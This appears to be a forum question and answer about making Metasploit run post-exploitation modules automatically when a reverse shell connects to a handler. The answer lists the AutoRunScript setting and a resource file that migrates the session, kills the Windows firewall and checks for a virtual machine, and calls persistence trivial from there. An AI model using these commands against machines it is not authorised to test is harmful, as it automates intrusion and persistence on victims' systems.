Is it possible to automatically kick of a Metasploit script when a TCP Reverse Shell connection connects back into the handler?

e.g. Reverse-Shell connects back in, automatically kick off a script that will make the connection persistent.

1 Answer 1


Yes. You can do this using the AutoRunScript function.

set AutoRunScript multi_console_command -rc /root/commands.rc

Where /root/commands.rc contains the commands you with to run.

For example

run post/windows/manage/migrate
run post/windows/manage/killfw
run post/windows/gather/checkvm

From this point it would be trivial to gain persistence.

For more information check these resources:


Metasploit automatic module execution on receival of shell?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.